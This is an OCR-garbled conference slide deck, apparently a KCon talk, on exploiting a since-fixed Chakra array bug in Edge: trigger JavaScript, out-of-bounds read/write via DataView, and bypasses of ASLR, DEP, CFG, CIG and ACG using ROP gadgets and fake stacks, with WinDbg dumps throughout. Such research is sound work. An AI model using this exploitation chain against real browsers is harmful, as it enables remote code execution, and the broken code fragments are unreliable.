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Chakra vulnerability

0:011> r
rax=0000000000000000 rbx=0000025fdedde7d0 r¢x=000100007fffffff
rdx=0000025fdeed2bf0 rsi=00000000fffffffe rdi=0000025fdeed52bf0
rip=00007ffd5e3c0ddf rsp=000000alf24fb070 rhp=0000025fdb586860
The vulnerability was discovered on May 31, 2016. r8=00000000f ffffffe r9=0000025fdee52bf0 r10=00000fffabc781b0

The vulnerability was fixed in February 2017. r12=bel3ffffffc00000 r13=0000025fdeeb3c20
r14=0000000000000000 r15=fffc000000000000

chakra! Js::JavascriptArray: :Setltemt+0x5f:
00007ffd 5e3c0ddf moy aword ptr [rdx+rl11%8+18h], rex

KCon



NativelntArray struct :

Chakra vulnerability

NativelntArrayHead

length

head

Segment :

left
length

size

Next segment

Buffer

Segment :

left
length

size

Next segment

Buffer

KCon



Chakra vulnerability

0:012> y pgi( )
chakra!ls::

0:012> dg 000001adb6abfb00
000001ad b6abfb00

000001ad " b68e8dc0 :
000001ad” b6abfb10 00000000 00000000 00000000" 00000005

000001ad b6abfb20
NativelntArray struct : 000001ad” b6abfb30

0:012> dd
000001ad b6910f60 &
000001ad b6910£70 Eb6bcfedd 000001ad |HE0O000=80000003
000001ad b6910£80 [80000002 80000002 80000002 80000002
000001ad b6910£90 |80000002 80000002 80000002 80000002
000001ad b6910fa0 |80000002 80000002 80000002 80000002
000001ad b6910fb0 |80000002 80000002 80000002 80000002

KCon



Chakra vulnerability

function start()

{

var var Array 1 = new Array( ) IF-
var Array 1. proto . defineGetter (’0’, function()

{

Make var_Array_1 object reach a special state. :I(—————‘:
Make var_Array 1->length smaller. 5 return [

var Array 1. reverse() ;

}

start() :

KCon



Chakra vulnerability

Make var_Array 1 object reach a special state.
< (head.next.left + head.next.length)

NativelntArrayHead

Length:0x0000002e

head

Segment : head

Left:0x00000000
Length:0x00000000
Size:0x00000012

Next segment

Buffer:0x00000012*4

Segment : head.next

Left:0x000003d2
Length:0x0000002e
Size:0x0000002e

Next segment

Buffer:0x0000002e*4

KCon



Chakra vulnerability

0:012> y pai( )
chakra!Js:: SCrip: [ni v:: yftable’ :

Make var_Array_1 object reach a special state.

< (head.next.left + head.next.length)  ©:012” dg 000001adb691d280
000001ad b691d280 00007ffd 5e7443c0 0000Q
000001ad b691d290 00000000 0000006
000001ad b691d2a0 00000000§0000002e0000001ad b6910d420 |

000001ad b691d2b0 000001ad b6910d20 000001ad b68ad8ald

=16abd9c0

KCon



Chakra vulnerability

Make var_Array 1 object reach a special state.

0:012> dd 000001ad b6910d20

000001ad b6910d20
000001ad b6910d30
000001ad b6910d40
000001ad b6910d50
000001ad b6910d60
000001ad b6910d70

.....

80000002 80000002 80000002 80000002
80000002 80000002 80000002 80000002
80000002 80000002 80000002 80000002

0:012> dd 000001adb6bcfcf0 array. head. next segment

000001ad b6bcfcf0
000001ad b6bcfd00
000001ad b6bcfd10
000001ad b6bcfd20
000001ad b6bcfd30
000001ad b6bcfd40
000001ad b6bcfd50

000003d2 0000002¢ 0000002¢ |4G66640Q0
00000000 00000000 IR&Q00001 80000002
80000002 80000002 800000U2=82000002
80000002 80000002 80000002 80000002
80000002 80000002 80000002 80000002
80000002 80000002 80000002 80000002
80000002 80000002 80000002 80000002

RKCon



Chakra vulnerability

Var (JavascriptArray* pArr,
Js::TypedArrayBase* typedArrayBase,
RecyclableObject* obj, , ScriptContext* scriptContext)

{

if (length % 2 = 0)
{
Callback function causes length to be modified.

But the ReverseHelper function still uses the }

= > (seg—>left + seg—>length) ?
((uint32) length) — (seg—>left + seg—>length) : 0;
seg—->next = prevSeg;
seg—>EnsureSizeInBound () ;

on



Chakra vulnerability

Make var_Array 1 object reach a special state.
< (head.next.left + head.next.length)

NativelntArrayHead

Length:0x0000002e

head

Segment : head

Left:0x00000000
Length:0x00000000

Size:0x00000012

Next segment

Buffer:0x00000012*4

Segment : head.next

Left:0x000003d2
Length:0x0000002e

Size:0x0000002e

Next segment

Buffer:0x0000002e*4




Chakra vulnerability

function start()

{

//delete getter callback.
delete var Array 1. proto [0 ];

step 1

Make var_Array_]_->head_5ize smaller. //1. Make var Array 1->head.size smaller.

start () ; Kcon



step 1
var_Array_1->head.size : Ox2e

Chakra vulnerability

var_Array_1->head.length : Ox2e

NativelntArrayHead

Length:0x0000002e

head

Segment : head

Left:0x00000000
Length:0x0000002e

Size:0x00000023

Next segment

Buffer:0x0000002e*4

Segment : head.next

Left:0x00000023
Length:0x0000000b

Size:0x00000012

Next segment

Buffer:0x00000012*4




Chakra vulnerability

0:012> dd 00000204 17da8000 ////array.head segment

00000204 17da8000 PO000000 0000002e BHGREEL
00000204 17da8010 ¢

step 1 . 00000204 17dag8020 80000002 80000002 80000002 .
var_Array_1->head.size : Ox2e 00000204 17da8030 80000002 80000002 80000002 80000002
: 00000204 17da8040 80000002 80000002 80000002 80000002

var_Array_1->head.length : Ox2e 00000204 17da8050 80000002 80000002 80000002 80000002

00000204 17dag8060 80000002 80000002 80000002 80000002
00000204 17da8070 80000002 80000002 80000002 80000002

KCon



Chakra vulnerability

Var (JavascrintArrayk pALL
Is::TypedArrayBase* typedArrayBase,
RecyclableObiject* obj, T length, ScriptContext* scriptContext)

e
seg->left =0 seg: = ((uint32) length) > (seg—>left + seg—>length) ?
seg->EnsureSizelnBound() : ((uint32) length) - (seg—>left + seg—>length) :

seg->next = prevoes:

KCon



Chakra vulnerability

void SparseArravSegmentBase; :EnsureSizelnBound O

{
EnsureSizelnBound (left. length, size, next);
}

void SvarseArravSegmentBase; :EnsureSizelnBound (uint32 left, uint32 Jength,

step 1 uint32& size, SparseArravSegmeniBase* next)
Min(Next->left, Size) - Min( ) {
uint3d2 pextlhell = nexk ? nexl>lefl : JavascrintArray: :MaxArraylength:
if(size != 0)
{
size = min( nextleft — left); //size = 0x23

} | KCon



step 1
var_Array_1->head.size : Ox2e

Chakra vulnerability

var_Array_1->head.length : Ox2e

NativelntArrayHead

Length:0x0000002e

head

Segment : head

Left:0x00000000
Length:0x0000002e

Size:0x00000023

Next segment

Buffer:0x0000002e*4

Segment : head.next

Left:0x00000023
Length:0x0000000b

Size:0x00000012

Next segment

Buffer:0x00000012*4




Chakra vulnerability

function start()

{

/[oew wos
Step 2 //2. create 00B
Create OOB
[[see ase
}
start ()

KCon



Chakra vulnerability

Step 2
ConvertTolavascriptArray : Create new segment

JavascriptArrayHead

Length:0x0000002e

head

Segment : head OOB

Left:0x00000000
Length:0x0000002e

Size:0x00000023
Next segment

Buffer:0x00000023*8

Segment : head.next

Left:0x00000023
Length:0x0000000b

Size:0x00000011

Next segment

Buffer:0x00000011*4




Step 2

00000291

00000291
00000291
00000291
00000291
00000291
00000291
00000291

00000291
00000291
00000291
00000291
00000291

c63a2ac(
c63a2ad0
cb63a2ael
cb63a2afl
c63a2b00
c63a2bl0
c63a2b20
c63a2b30

c63a2bcl
c63a2bd0
c63a2bel
c63a2bf0
c63a2c00

cb63a2ac(
00000000

80000002
80000002
80000002
80000002
80000002
80000002

80000002
80000002
80000002

00000000
00000000

\ \ / \ \

c6047c00 00000291

80000002
80000002
80000002
80000002
80000002
80000002

80000002
80000002
80000002
00000000
00000000

Chakra vulnerability

0:012> dd 00000291

R8372fal
8000009
80000002
80000002
80000002
80000002
80000002

80000002
80000002
80000002
00000000
00000000

— -

)02 3 F8R00000

00000291
30000002
8000064
80000002
80000002
80000002
80000002

80000002
80000002
80000002
00000000
00000000




Array 1 Segment : head

Chakra vulnerability

Length:0x0000002e

function start() Size:0x00000023

// Next segment
Step 3 //3. segment layout Buffer:0x00000023*8
Segment layout
Array 2 Segment : head
yYATTRRTY Left:0x00000023
} Length:0x0000000b
start () ;

Size:0x23




Chakra vulnerability

Step 3
Segment layout and segment OOB

0:012> dd 0000024d_

0000024d

0000024d
0000024d
0000024d
0000024d
0000024d
0000024d
0000024d

0000024d
0000024d
0000024d
0000024d
0000024d

7£752ac0
7£752ad0
1£752ae0
7£752af0
7£752b00
7£752b10
7£752b20
7£752b30

7£752be0
7£752bf0
7£752c00
7£752c10
7£752c20

7£752ac0

00000000 0000002e 00000023 4QO0066€

7£587c¢00 0000024d 00000001 00010000
80000002 80000002 80000002 80000002
80000002 80000002 80000002 80000002
80000002 80000002 80000002 80000002
80000002 80000002 80000002 80000002
80000002 80000002 80000002 80000002
80000002 80000002 80000002 80000002

00000000

00000000 00000000 00000002 00010000
80000002 80000002 80000002 80000002
80000002 80000002 80000002 80000002

Con



Step 4

function start ()

{

//4. edit var Array 2.head. size
//var Array 1[0x24] = Ox7fffffff;

var Array l.reverse();

var Array 1.reverse();

Array 1 Segment : head

Chakra vulnerability

Length:0x0000002e

Size:0x00000023

Next segment

Buffer:0x00000023*8

Array 2 Segment : head

Left:0x00000023

Length:0x0000000b

Size:OXFfFffff




Step 4

Chakra vulnerability

0:012> dd 0000024d

0000024d
0000024d
0000024d
0000024d
0000024d
0000024d
0000024d
0000024d
0000024d
0000024d
0000024d
0000024d
0000024d

1£752ac0
71£752ad0
1£752ae0
71£752af0
7£752b00
71f752b10
71£752b20
71£752b30

1£752be0
7£752bf0
7£752c00
7£752c10
7£752c20

1f752ac(

00000000

7£587c00
80000002
80000002
80000002
80000002
80000002
80000002

80000002
00000000
00000000
80000002
80000002

0000024d
80000002
80000002
80000002
80000002
80000002
80000002

80000002
00000000

80000002
80000002

00000001
80000002
80000002
80000002
80000002
80000002
80000002

80000002
00000002

80000002
80000002

00010000
80000002
80000002
80000002
80000002
80000002
80000002

8000000
00010000

80000002
80000002

KCon



Array 1 Segment : head

Left:0x00000000
Length:0x0000002e

Size:0x00000023

Next segment

Buffer:0x00000023*8

Array 2 Segment : head

Left:0x00000023
Length:0x0000000b

Size:OXFffffff

Segment : head.next

Left:0x00000023
Length:0x0000000b

Size:0x00000011

Next segment

Natiiiiii

Buffer:0x00000011*4

Chakra vulnerability

//var Array 1[0x24] = Ox7fffffff;

KCon



Step 5

Chakra vulnerability

function start()

{
[[eee oo
//5. var Array 2 00B r/w
var Array 2. length = Oxffffffff;
/[see eee
}

Array 2 Segment : head

Left:0x00000000
Length:0x0000000b

Size:OXFfFffff

Next segment

Buffer:0x00000023*8




Chakra vulnerability

0:011>
rax=0000000000000000 rbx=0000025fdedde7d0 rcx=000100007fffffff
rdx=0000025fdee52bf0 rsi=00000000fffffffe rdi=0000025fdee52bf0
rip=00007ffd5e3c0ddf rsp=000000alf24fb070 rhp=0000025fdb586860
Step 5 r8=00000000f ffffffe r9=0000025fdee52bf0 r10=00000fffabc781b0
r12=bel3ff£F££c00000 r13=0000025fdeeb3c20
r14=0000000000000000 r15=fffc000000000000

chakra! Is::JavascriptArray: :SetItemt+0x5f:
00007ffd 5e3c0ddf moy gword ptr [rdx+rll1*8+18h], rcx

KCon



Step 6

0:021> gg,OOOOOICb

000001cb

000001cb
000001cb
000001cb
000001cb
000001cb
000001cb
000001cb

bb76¢100
bb76¢110
bb76¢120
bb76c130
bb76c140
bb76¢150
bb76c160
bb76¢170

Chakra vulnerability

bb76¢100
00007ff9 9221988 000001cb a5720f8(

0c0c0cOc 0c0cOcOc 0c0cOcOc 0cOcOcOc
0c0c0cOc 0c0c0cOc 0c0cOcOc 0c0cOcOc

KCon



Step 6

Chakra vulnerability

out of bound memory read/write

memory

OOB segment

object

edit

array.length
array.head.size
array.head.length

KCon



Step 6

Chakra vulnerability

var array buffer = new ArrayBuffer (
var data view = new DataView(array buffer, O,

array_buffer. bytelLength) ;

0:020> u poi (00000255 ec1783c0)
chakra! Is::DataView:: vftable’ :

0:023> dg 00000255

00000255
00000255
00000255
00000255

ecl1783c0
ec1783d0
ecl1783el
ec1783f0

ecl783c0

00007ffd 5e7708e8
00000000 00000000
00000000
00000000 00000000

VI

00000255 6c4e
00000067 00000000

00000010 68000255 6c417fcO

0000024d 67013cc0

KCon



Step 6

Chakra vulnerability

var array buffer = new ArrayBuffer ( ¥
var data view = new DataView(array buffer, O,

array_buffer. bytelLength) ;

0:020> u pi (00000255 ec1783c0)
chakra! Is::DataView:: vftable’ :

0:023> dg 00000255

00000255
00000255
00000255
00000255

ecl1783c0
ec1783d0
ecl1783el
ecl1783f0

ecl783c0
00007ffd 5e7708e8 00000255 6cie

KCon



Step 6

Chakra vulnerability

data_view. setUint32 true) ;

0:020> y, pgi. (0000025
chakralls::DataViews:

0:023> dg 00000275 ec1783c0
00000255 ec1783£0 00007ffd Fe7708e8 00000255 6c4e7b00
00000255 ecl17§3d0 00000000400000000 00000000 00000000
00000255 ec ] 00000255 6c417fc0

00000255 ¢ 0" 00000000 00001212 00000000]

0000000 00000000 00000000

KCon



Step 6

Chakra vulnerability

|data f data_view. getUint32]0x34343434 Y true) ;

0:020>N\w poi (00000255 ec1796c0)
chakra! I\ :DataView:: vf#able :

0:023> dg 00800255 gf1783c0

00000255 ecl178%0/00007ffd 5e7708e8 00000255 6c4e7b00
00000255 ec17834 00000000 00000000 00000000 00000000
00000255 ec1758e0 N00000000 00000255 6c417fc0
00000255 ecd783f0 (ND00000 00000000

KCon



Chakra vulnerability

0:013> r

rax= rbx=00000132f6b57370 r¢x=00000132fa427b00

rdx=00000000ffffffff rsi=00000000 rdi=000001336b75¢380

rip=00007ffd5e69c601 rsp=0000000d59bfbbald rbp=0000000000000004
Step 6 r8=00000132fa0f7d50 r9=00000132f6b57370 r10=000001336b770800

r11=0000000d59bfb9d8 r12=0000000000000001 r13=00000132f6b2¢f90

r14=0000000d59bfb620 r15=

iopl=0 ny, up gi pl nz na pe ng

¢cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b ef1=00010202

chakra! Js::DataView: :EntrySetUint32+0x131:

00007ffd 5e69c601 moy. dword ptr [rl5+rax], esi ds:

KCon
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and

Bypass ASLR

lx AVTY S 7o

rw_array_address - Ox1c9ec92f800

0:025> ll 1090992f800

000001c9

000001c9
000001c9
000001c9
000001c9
000001c9
000001c9
000001c9

ec921£800
ec92f810
ec92f820
ec92f830
ec921840
ec92f850
ec921860
ec92f870

|f‘ \j\/\n] Q

U\/uh

ooodbdoo

00000000
000001c9
~00000000
00000000
0c0c0cOc
0c0c0cOc

frffffff

OOOOOOOO OOOOOOOO 00000005 IS
frffffff f

ec92f840

00000000
0c0c0cOc
0c0cOcOc

24818180

"000001c9 ¢
00000000

12345678
0c0cOcOc
0c0c0cOc

9463ff00
Y P
003943a7
0c0c0cOc
0c0c0cOc




Bypass ASLR

and

KCon



ROP. VirtualProtect. VirtualAlloc

Bypass DEP

0:033> !address 0000015f e5bbc020

Usage:

Base Address:
End Address:
Region Size:
State:
Protect:

{unknown>

0000015f e5bb0000

0000015f eb5bbf000

00000000 0000000 ( 60.000 kB)
00001000 MEM COMMIT
00000004 PAGE READWRITE

0:033> !address 0000015f e5bbc020

Usage:
Base Address:
End Address:
Region Size:
State:

{unknown>

0000015f e5bb0000

0000015f e5bbf000

00000000 0000000 ( 60.000 kB)
00001000 MEM COMMIT

. OnN
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Bypass CFG

mov eax, |edi]
call dword ptr [eax+0A4h]

Control Flow Guard (CFG)

mov eax, |edi]

mov esi, [eax+t0A4h] : esi = virtual function
mov ecx, esil

mov ecx, edi

call esi

KCon



Bypass CFG

bitmap bt : 0x30010555& =0
index offset :data \
[0x0077b960] Ox01dee58c : 0x55555555
0x0077b964 : 0x30010555 00000100 00000000 =
[0x007%968] 0x01dee594 : 0x04541041 \
Control Flow Guard (CFG)
= 0x0a =
A
Function
address :
: (01110111 10111001 01100100 000]

KCon



Leak stack address

Bypass CFG

[lx AVSY Sk =

StackLimit : Oxc3baf2000

Ivh ;a2

StackBase : Oxc2bb00000

0:010> !teb
TEB at 0000000c3a5a5000
ExceptionlList:

SubSystemTib:
FiberData:
ArbitraryUserPointer:
Self:
EnvironmentPointer:
RpcHandle:

Tls Storage:

PEB Address:

[LastErrorValue:

0000000000000000

0000000000000000
0000000000001e00
0000000000000000
0000000c3a5a5000
0000000000000000
0000000000000000
00000194946ad690
0000000c3a58c000
0



Bypass CFG

var test array = new Array():
var Array 1. proto . defineGetter ( ‘0’ , function()

{

IHvh 2.

CallGetter_stack_address : Oxc8clcfb9c8

Finding the return address of a specific function.

F)s

test array[0];

0a 000000c8 clcfb910 00007ffd 5e3f8c51 chakra!<lambda 60323657e3451426891a1b42b88bdafd>: :operator
Ob 000000c8 clcfb950 chakra!Js::JavascriptOperators::CallGetter
Oc 00007ffd 5e3a74aa chakra!Js::ESSArrayTypeHandlerBase<unsigned short>::GetItem

0d 000000c8 clcfba20 00007ffd 5e23e825 chakra!Js::DynamicObject::GetIt



Bypass CFG

var test array = new Array();
var Array 1. proto . defineGetter ( ‘0’ , function()

{
//finding code

1)
Modify the function's return address. test_array[0];

0a 000000c8 clcfb910 00007ffd 5e3f8c51 chakra!<lambda 60323657e3451426891a1b42b88bdafd>: :operator ()
Ob 000000c8 clcfb950 chakra! Js::JavascriptOperators::CallGetter

Oc 000000c8 clcfb9d0 000001fd 501f3e40

0d 000000c8 clcfb9d8 000001fd 5035e760 0x000001fd 501f3e40

KCon



Bypass CFG

0:009> g
chakra! Js::JavascriptOperators::CallGetter+0x7b:

Control RIP.

000000c8 clcfb9c8

KCon
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Bypass CIG

Code integrity mitigations

| Mitigation | In scope Out of scope

chniques that make it possible to dynamica
y code in a process th Y pas 1at rely on thread opt out

bled(AllowThreadOptOut =

=
=
=
p

cy(ProhibitDynamic

Techniques that make it possible to load an

improperly signed binary into a process that has In-memory injection of unsigned
enabled code signing restrictions(e.q. Image codepages
ProcessSignaturePolicy).

*‘.:_mt Guard

KCon



Bypass CIG

BOOL WINAPI i 11

~In_ PROCESS MITIGATION POLICY MitigationPolicy,
~In_ PVOID lpBuffer,
_In_ SIZE_T dwLengtl

-

typedef struct PROCESS MITIGATION BINARY SIGNATURE POLICY {
union {
DWORD Flags;
struct {
DWORD MicrosoftSignedOnly :1;
DWORD StoreSignedOnly, :1;
DWORD MitigationOptln :1;
DWORD Reservedilags :29;
B
i
} PROCESS MITIGATION BINARY SIGNATURE POLICY, *PPROCESS MITIGATION BINARY SIGNATURE POLICY; KCOn



Bypass CIG

CIG enabled Process

“LoadLibrary” via JavaScript

1 | 1. Download a DLL by XMLHttpRequest object, the file will be temporarily saved
LObra in the cache directory of IE;

User mode

Code Integrity Guard (CIG) Kernel mode
Only properly signed DLLs are allowed to load by a process

. MAKE
: LOADLIBRARY
5. Cre GREAT AGAIN

%/J/({v/}?%dlﬁ/




Bypass CIG

“LoadLibrary” in ShellCode
Load DLL file into Memory
Parse PE header
Reload sections
Fix Import Table
Rebase

Elevation of privilege is Quite Complex
Shellcode reusable
Increase privileges and Escape SandBox can be in a DLL

KCon
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Bypass ACG

Two general ways load malicious native code into memory
Load malicious DLL/EXE from disk
Dynamic generate code

CIG block the first way
Only properly signed DLLs are allowed to load by a

process
Child process can not be created (Windows 10 1607)

ACG block the second way
Code pages are immutable

New, unsighed code cannot be created KCon



Bypass ACG

BOOL WINAPI (

_In_ PROCESS MITIGATION POLICY MitigationPolicy,
~In_ PVOID 1pBuffer,
In_ SIZE T g

) ;

typedef struct PROCESS MITIGATION DYNAMIC CODE POLICY {
union {
DWORD Flags;
struct {
DWORD ProhibitDynamicCode :1;
DWORD AllowThreadOptQut :1;
DWORD AllowRemoteDowngrade :1;
DWORD ReservedFlags :30;
K

} ’
} PROCESS_MITIGATION_DYNAMIC_CODE_POLICY, *PPROCESS_MITIGATION_DYNAMIC CODE_POLICY; KC on



Bypass ACG

ACG enabled Process

VirtualAlloc/Virt

User mode

Arbitrary Code Guard(ACG)

__EXECUTE?_
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Bypass ACG

Leverage valid sighed code in an unintended way
ROP (Return oriented programming)

It could construct a full payload

var
var
var
var
var
var
var

var
var
var
var
var
var
var

pop rax gadget
pop rbx gadget
pop rcx gadget
pop rdx gadget
pop r8 gadget
pop r9 gadget
pop rl4 gadget

pop rsp gadget
push rax gadget
push rbx gadget
push rsp gadget

add rsp 0x38 gadget

add rsp 0x68 gadget

move gword rbx rax gadget

KCon



ArrayBuffer : fake stack

parameter

parameter
ret address : ron

2. process parameter
rop.: pop r9,r8,rex,rdx
Ca” APl FunCt|On 3. et to ap funcUon ani function address
4. save function return value :

ron : move gword [rbx], rax;
— i [rbx]. rax Save return value address

Stack address

KCon



function

{

Bypass ACG

(function address, function parameters)

var Array 1. proto . defineGetter ( ‘0’ , function()

{

fake

stack/]

fake

stack[]

stack| ]

stack/]

stack/ ]

pop rcx gadget;
pop rdx gadget;

function address:

move gword rbx rax gadget;

pivot;

KCon



Bypass ACG

function (hFile, 1lpBuffer, nNumberOfBytesToWrite, 1pNumberOfBytesWritten, lpOverlapped)
{
if ((typeof WriteFile function address) == “undefined” )
{
Example if ((typeof kernel32 module address) == “undefined” )
No need of shellcode kernel32 module address = LoadLibrary( “kernel32.d11” );
. ' ! : — “w - . ” .
Just like C code } riteFile function address = GetProcAddress(kernel32 module address, riteFile” ) ;
return (WriteFile function address,

[ i§ i
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Bypass ACG

function (pvReserved)

{

if ((typeof Colnitialize function address)== “undefined” )

Example {
if ((typeof o0le32 module address)== “undefined” )
No need of shellcode 0le32 module address = LoadLibrary( “ole32.d11” );
Just like C code Colnitialize function address = GetProcAddress(ole32 module address, “Colnitialize” );
}

return (CoInitialize function address, [ 1y s

KCon
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Demo

= iy

tools

L

cmd
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Q&A
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